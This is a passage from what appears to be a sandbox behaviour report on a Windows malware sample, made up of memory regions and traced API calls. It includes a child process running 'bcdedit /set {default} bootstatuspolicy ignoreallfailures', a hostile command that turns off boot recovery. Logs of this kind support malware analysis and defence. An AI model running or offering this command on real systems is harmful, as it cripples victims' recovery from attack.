"BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1285 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1286 start_va = 0xb6c9d50000 end_va = 0xb6c9d6ffff entry_point = 0x0 region_type = private name = "private_0x000000b6c9d50000" filename = "" Region: id = 1287 start_va = 0xb6c9d70000 end_va = 0xb6c9d7efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b6c9d70000" filename = "" Region: id = 1288 start_va = 0xb6c9d80000 end_va = 0xb6c9e7ffff entry_point = 0x0 region_type = private name = "private_0x000000b6c9d80000" filename = "" Region: id = 1289 start_va = 0xb6c9e80000 end_va = 0xb6c9e83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b6c9e80000" filename = "" Region: id = 1290 start_va = 0xb6c9e90000 end_va = 0xb6c9e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b6c9e90000" filename = "" Region: id = 1291 start_va = 0xb6c9ea0000 end_va = 0xb6c9ea1fff entry_point = 0x0 region_type = private name = "private_0x000000b6c9ea0000" filename = "" Region: id = 1292 start_va = 0x7ff6226b0000 end_va = 0x7ff6226d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6226b0000" filename = "" Region: id = 1293 start_va = 0x7ff6226dd000 end_va = 0x7ff6226defff entry_point = 0x0 region_type = private name = "private_0x00007ff6226dd000" filename = "" Region: id = 1294 start_va = 0x7ff6226df000 end_va = 0x7ff6226dffff entry_point = 0x0 region_type = private name = "private_0x00007ff6226df000" filename = "" Region: id = 1295 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1296 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1329 start_va = 0xb6c9ee0000 end_va = 0xb6c9fdffff entry_point = 0x0 region_type = private name = "private_0x000000b6c9ee0000" filename = "" Region: id = 1330 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1331 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1352 start_va = 0xb6c9d50000 end_va = 0xb6c9d5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000b6c9d50000" filename = "" Region: id = 1353 start_va = 0xb6c9d60000 end_va = 0xb6c9d66fff entry_point = 0x0 region_type = private name = "private_0x000000b6c9d60000" filename = "" Region: id = 1354 start_va = 0xb6c9fe0000 end_va = 0xb6ca05dfff entry_point = 0xb6c9fe0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1355 start_va = 0xb6ca210000 end_va = 0xb6ca21ffff entry_point = 0x0 region_type = private name = "private_0x000000b6ca210000" filename = "" Region: id = 1356 start_va = 0x7ff6225b0000 end_va = 0x7ff6226affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6225b0000" filename = "" Region: id = 1357 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Thread: id = 115 os_tid = 0x89c [0030.911] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.911] __set_app_type (_Type=0x1) [0030.911] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.911] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.911] GetCurrentThreadId () returned 0x89c [0030.911] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x89c) returned 0x24 [0030.911] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.911] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.911] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.934] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.934] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xb6c9e7fc88 | out: phkResult=0xb6c9e7fc88*=0x0) returned 0x2 [0030.934] VirtualQuery (in: lpAddress=0xb6c9e7fc74, lpBuffer=0xb6c9e7fbf0, dwLength=0x30 | out: lpBuffer=0xb6c9e7fbf0*(BaseAddress=0xb6c9e7f000, AllocationBase=0xb6c9d80000, AllocationProtect=0x4, __alignment1=0xb6, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.934] VirtualQuery (in: lpAddress=0xb6c9d80000, lpBuffer=0xb6c9e7fbf0, dwLength=0x30 | out: lpBuffer=0xb6c9e7fbf0*(BaseAddress=0xb6c9d80000, AllocationBase=0xb6c9d80000, AllocationProtect=0x4, __alignment1=0xb6, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.934] VirtualQuery (in: lpAddress=0xb6c9d81000, lpBuffer=0xb6c9e7fbf0, dwLength=0x30 | out: lpBuffer=0xb6c9e7fbf0*(BaseAddress=0xb6c9d81000, AllocationBase=0xb6c9d80000, AllocationProtect=0x4, __alignment1=0xb6, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.934] VirtualQuery (in: lpAddress=0xb6c9d84000, lpBuffer=0xb6c9e7fbf0, dwLength=0x30 | out: lpBuffer=0xb6c9e7fbf0*(BaseAddress=0xb6c9d84000, AllocationBase=0xb6c9d80000, AllocationProtect=0x4, __alignment1=0xb6, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.934] VirtualQuery (in: lpAddress=0xb6c9e80000, lpBuffer=0xb6c9e7fbf0, dwLength=0x30 | out: lpBuffer=0xb6c9e7fbf0*(BaseAddress=0xb6c9e80000, AllocationBase=0xb6c9e80000, AllocationProtect=0x2, __alignment1=0xb6, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.934] GetConsoleOutputCP () returned 0x1b5 [0030.943] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.943] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.943] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.943] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0030.943] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.943] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0030.943] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.943] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.970] GetEnvironmentStringsW () returned 0xb6c9ee48f0* [0030.970] FreeEnvironmentStringsA (penv="=") returned 1 [0030.970] GetEnvironmentStringsW () returned 0xb6c9ee48f0* [0030.970] FreeEnvironmentStringsA (penv="=") returned 1 [0030.970] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb6c9e7eb38 | out: phkResult=0xb6c9e7eb38*=0x30) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x0, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x1, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x1, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x0, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x40, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x40, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x40, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegCloseKey (hKey=0x30) returned 0x0 [0030.970] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb6c9e7eb38 | out: phkResult=0xb6c9e7eb38*=0x30) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x40, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x1, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x1, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x0, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x9, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x4, lpData=0xb6c9e7eb50*=0x9, lpcbData=0xb6c9e7eb34*=0x4) returned 0x0 [0030.970] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb6c9e7eb30, lpData=0xb6c9e7eb50, lpcbData=0xb6c9e7eb34*=0x1000 | out: lpType=0xb6c9e7eb30*=0x0, lpData=0xb6c9e7eb50*=0x9, lpcbData=0xb6c9e7eb34*=0x1000) returned 0x2 [0030.970] RegCloseKey (hKey=0x30) returned 0x0 [0030.970] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d263 [0030.970] srand (_Seed=0x5989d263) [0030.970] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"" [0030.970] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"" [0030.971] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb6c9ee6730, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.971] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.971] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.971] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0030.971] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.971] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.971] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.971] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.971] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.971] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.971] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.971] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.971] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.971] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.971] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xb6c9e7f940 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.971] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0xb6c9e7f940, lpFilePart=0xb6c9e7f920 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xb6c9e7f920*="Desktop") returned 0x1c [0030.971] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.971] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xb6c9e7f650 | out: lpFindFileData=0xb6c9e7f650) returned 0xb6c9ee69a0 [0030.971] FindClose (in: hFindFile=0xb6c9ee69a0 | out: hFindFile=0xb6c9ee69a0) returned 1 [0030.971] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0xb6c9e7f650 | out: lpFindFileData=0xb6c9e7f650) returned 0xb6c9ee69a0 [0030.971] FindClose (in: hFindFile=0xb6c9ee69a0 | out: hFindFile=0xb6c9ee69a0) returned 1 [0030.971] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.972] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0xb6c9e7f650 | out: lpFindFileData=0xb6c9e7f650) returned 0xb6c9ee69a0 [0030.972] FindClose (in: hFindFile=0xb6c9ee69a0 | out: hFindFile=0xb6c9ee69a0) returned 1 [0030.972] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.972] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.972] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.972] GetEnvironmentStringsW () returned 0xb6c9ee48f0* [0030.972] FreeEnvironmentStringsA (penv="=") returned 1 [0030.972] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.972] GetConsoleOutputCP () returned 0x1b5 [0031.000] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0031.000] GetUserDefaultLCID () returned 0x409 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xb6c9e7fa70, cchData=128 | out: lpLCData="0") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xb6c9e7fa70, cchData=128 | out: lpLCData="0") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xb6c9e7fa70, cchData=128 | out: lpLCData="1") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0031.022] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0031.022] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0031.023] GetConsoleTitleW (in: lpConsoleTitle=0xb6c9ee49a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0031.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0031.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0031.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0031.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0031.024] _wcsicmp (_String1="title", _String2=")") returned 75 [0031.024] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0031.024] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0031.024] _wcsicmp (_String1="IF", _String2="title") returned -11 [0031.024] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0031.024] _wcsicmp (_String1="REM", _String2="title") returned -2 [0031.024] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0031.024] GetConsoleTitleW (in: lpConsoleTitle=0xb6c9e7f960, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0031.025] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0031.025] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0031.025] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0031.025] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0031.025] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0031.025] _wcsicmp (_String1="title", _String2="CD") returned 17 [0031.025] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0031.025] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0031.025] _wcsicmp (_String1="title", _String2="REN") returned 2 [0031.025] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0031.025] _wcsicmp (_String1="title", _String2="SET") returned 1 [0031.025] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0031.025] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0031.025] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0031.025] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0031.025] _wcsicmp (_String1="title", _String2="MD") returned 7 [0031.025] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0031.025] _wcsicmp (_String1="title", _String2="RD") returned 2 [0031.025] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0031.025] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0031.025] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0031.025] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0031.025] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0031.025] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0031.025] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0031.025] _wcsicmp (_String1="title", _String2="VER") returned -2 [0031.025] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0031.025] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0031.025] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0031.025] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0031.025] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0031.026] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xb6c9e7f4b8 | out: TokenHandle=0xb6c9e7f4b8*=0x0) returned 0xc000007c [0031.026] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xb6c9e7f4b8 | out: TokenHandle=0xb6c9e7f4b8*=0x3c) returned 0x0 [0031.026] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x12, TokenInformation=0xb6c9e7f468, TokenInformationLength=0x4, ReturnLength=0xb6c9e7f470 | out: TokenInformation=0xb6c9e7f468, ReturnLength=0xb6c9e7f470) returned 0x0 [0031.026] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x1a, TokenInformation=0xb6c9e7f470, TokenInformationLength=0x4, ReturnLength=0xb6c9e7f468 | out: TokenInformation=0xb6c9e7f470, ReturnLength=0xb6c9e7f468) returned 0x0 [0031.026] NtClose (Handle=0x3c) returned 0x0 [0031.026] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xb6c9e7f480, nSize=0x0, Arguments=0xb6c9e7f488 | out: lpBuffer="仐짮¶") returned 0xf [0031.027] SetConsoleTitleW (lpConsoleTitle="Administrator: 8997147") returned 1 [0031.027] LocalFree (hMem=0xb6c9ee4ed0) returned 0x0 [0031.027] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.027] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0031.027] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.027] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0031.027] _get_osfhandle (_FileHandle=0) returned 0x18 [0031.027] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0031.027] SetConsoleInputExeNameW () returned 0x1 [0031.027] GetConsoleOutputCP () returned 0x1b5 [0031.027] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0031.027] SetThreadUILanguage (LangId=0x0) returned 0x409 [0031.028] exit (_Code=0) Process: id = "18" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x6ace000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x5f4" cmd_line = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1298 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1299 start_va = 0x3b884a0000 end_va = 0x3b884bffff entry_point = 0x0 region_type = private name = "private_0x0000003b884a0000" filename = "" Region: id = 1300 start_va = 0x3b884c0000 end_va = 0x3b884cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003b884c0000" filename = "" Region: id = 1301 start_va = 0x3b884d0000 end_va = 0x3b8854ffff entry_point = 0x0 region_type = private name = "private_0x0000003b884d0000" filename = "" Region: id = 1302 start_va = 0x3b88550000 end_va = 0x3b88553fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003b88550000" filename = "" Region: id = 1303 start_va = 0x3b88560000 end_va = 0x3b88560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003b88560000" filename = "" Region: id = 1304 start_va = 0x3b88570000 end_va = 0x3b88571fff entry_point = 0x0 region_type = private name = "private_0x0000003b88570000" filename = "" Region: id = 1305 start_va = 0x7ff695260000 end_va = 0x7ff695282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff695260000" filename = "" Region: id = 1306 start_va = 0x7ff695286000 end_va = 0x7ff695286fff entry_point = 0x0 region_type = private name = "private_0x00007ff695286000" filename = "" Region: id = 1307 start_va = 0x7ff69528e000 end_va = 